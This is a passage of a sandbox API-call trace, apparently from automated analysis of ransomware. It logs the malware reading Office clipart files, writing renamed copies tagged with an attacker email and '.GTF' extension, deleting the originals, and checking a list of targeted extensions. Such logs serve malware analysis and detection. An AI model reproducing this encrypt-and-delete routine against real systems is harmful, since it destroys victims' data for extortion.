	[0080.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString=".doc") returned 4
	[0080.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString=".docx") returned 5
	[0080.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.034] lstrlenW (lpString=".pdf") returned 4
	[0080.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString=".xls") returned 4
	[0080.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.034] lstrlenW (lpString=".xlsx") returned 5
	[0080.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.034] lstrlenW (lpString=".ppt") returned 4
	[0080.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString=".zip") returned 4
	[0080.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.034] lstrlenW (lpString=".rar") returned 4
	[0080.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString=".bz2") returned 4
	[0080.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString=".7z") returned 3
	[0080.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString=".dbf") returned 4
	[0080.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString=".1cd") returned 4
	[0080.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.034] lstrlenW (lpString=".jpg") returned 4
	[0080.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString=".doc") returned 4
	[0080.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString=".docx") returned 5
	[0080.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.035] lstrlenW (lpString=".pdf") returned 4
	[0080.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString=".xls") returned 4
	[0080.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.035] lstrlenW (lpString=".xlsx") returned 5
	[0080.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.035] lstrlenW (lpString=".ppt") returned 4
	[0080.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString=".zip") returned 4
	[0080.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.035] lstrlenW (lpString=".rar") returned 4
	[0080.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString=".bz2") returned 4
	[0080.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString=".7z") returned 3
	[0080.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString=".dbf") returned 4
	[0080.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString=".1cd") returned 4
	[0080.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0080.035] lstrlenW (lpString=".jpg") returned 4
	[0080.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.035] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.036] lstrlenW (lpString="AN00015_.WMF") returned 12
	[0080.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.140] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4734) returned 1
	[0080.140] CloseHandle (hObject=0x370) returned 1
	[0080.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220
	[0080.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.140] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0080.141] GetLastError () returned 0x0
	[0080.141] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x127e, lpOverlapped=0x0) returned 1
	[0080.219] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1280, lpOverlapped=0x0) returned 1
	[0080.220] ReadFile (in: hFile=0x370, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.220] WriteFile (in: hFile=0x340, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.220] SetEndOfFile (hFile=0x340) returned 1
	[0080.220] CloseHandle (hObject=0x340) returned 1
	[0080.221] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.221] SetEndOfFile (hFile=0x370) returned 1
	[0080.222] CloseHandle (hObject=0x370) returned 1
	[0080.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1
	[0080.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.222] lstrlenW (lpString=".doc") returned 4
	[0080.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.223] lstrlenW (lpString=".docx") returned 5
	[0080.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.223] lstrlenW (lpString=".pdf") returned 4
	[0080.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.223] lstrlenW (lpString=".xls") returned 4
	[0080.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.223] lstrlenW (lpString=".xlsx") returned 5
	[0080.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.223] lstrlenW (lpString=".ppt") returned 4
	[0080.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.223] lstrlenW (lpString=".zip") returned 4
	[0080.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.223] lstrlenW (lpString=".rar") returned 4
	[0080.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.223] lstrlenW (lpString=".bz2") returned 4
	[0080.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.223] lstrlenW (lpString=".7z") returned 3
	[0080.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString=".dbf") returned 4
	[0080.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString=".1cd") returned 4
	[0080.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString=".jpg") returned 4
	[0080.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString=".doc") returned 4
	[0080.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString=".docx") returned 5
	[0080.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.228] lstrlenW (lpString=".pdf") returned 4
	[0080.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString=".xls") returned 4
	[0080.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.228] lstrlenW (lpString=".xlsx") returned 5
	[0080.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.228] lstrlenW (lpString=".ppt") returned 4
	[0080.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.228] lstrlenW (lpString=".zip") returned 4
	[0080.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.228] lstrlenW (lpString=".rar") returned 4
	[0080.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString=".bz2") returned 4
	[0080.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.228] lstrlenW (lpString=".7z") returned 3
	[0080.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.229] lstrlenW (lpString=".dbf") returned 4
	[0080.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.229] lstrlenW (lpString=".1cd") returned 4
	[0080.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68
	[0080.229] lstrlenW (lpString=".jpg") returned 4
	[0080.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.229] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.229] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0080.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.915] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5684) returned 1
	[0080.915] CloseHandle (hObject=0x378) returned 1
	[0080.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220
	[0080.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.915] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.915] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.916] GetLastError () returned 0x0
	[0080.916] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1634, lpOverlapped=0x0) returned 1
	[0080.917] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1640, lpOverlapped=0x0) returned 1
	[0080.918] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.918] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.918] SetEndOfFile (hFile=0x380) returned 1
	[0080.919] CloseHandle (hObject=0x380) returned 1
	[0080.919] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.919] SetEndOfFile (hFile=0x378) returned 1
	[0080.920] CloseHandle (hObject=0x378) returned 1
	[0080.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0080.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1
	[0080.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.921] lstrlenW (lpString=".doc") returned 4
	[0080.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.921] lstrlenW (lpString=".docx") returned 5
	[0080.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.921] lstrlenW (lpString=".pdf") returned 4
	[0080.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.921] lstrlenW (lpString=".xls") returned 4
	[0080.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.921] lstrlenW (lpString=".xlsx") returned 5
	[0080.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.921] lstrlenW (lpString=".ppt") returned 4
	[0080.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.921] lstrlenW (lpString=".zip") returned 4
	[0080.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.921] lstrlenW (lpString=".rar") returned 4
	[0080.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.921] lstrlenW (lpString=".bz2") returned 4
	[0080.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString=".7z") returned 3
	[0080.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".dbf") returned 4
	[0080.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".1cd") returned 4
	[0080.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".jpg") returned 4
	[0080.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".doc") returned 4
	[0080.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString=".docx") returned 5
	[0080.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0080.922] lstrlenW (lpString=".pdf") returned 4
	[0080.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString=".xls") returned 4
	[0080.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0080.922] lstrlenW (lpString=".xlsx") returned 5
	[0080.922] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0080.922] lstrlenW (lpString=".ppt") returned 4
	[0080.922] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".zip") returned 4
	[0080.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0080.922] lstrlenW (lpString=".rar") returned 4
	[0080.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString=".bz2") returned 4
	[0080.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0080.922] lstrlenW (lpString=".7z") returned 3
	[0080.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0080.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.922] lstrlenW (lpString=".dbf") returned 4
	[0080.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0080.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.923] lstrlenW (lpString=".1cd") returned 4
	[0080.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0080.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0080.923] lstrlenW (lpString=".jpg") returned 4
	[0080.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0080.923] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0080.923] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0080.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.923] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=27858) returned 1
	[0080.923] CloseHandle (hObject=0x378) returned 1
	[0080.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220
	[0080.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0080.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0080.923] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.924] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0080.924] GetLastError () returned 0x0
	[0080.924] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x6cd2, lpOverlapped=0x0) returned 1
	[0080.926] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x6ce0, lpOverlapped=0x0) returned 1
	[0080.927] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.927] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.927] SetEndOfFile (hFile=0x380) returned 1
	[0080.927] CloseHandle (hObject=0x380) returned 1
	[0080.930] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
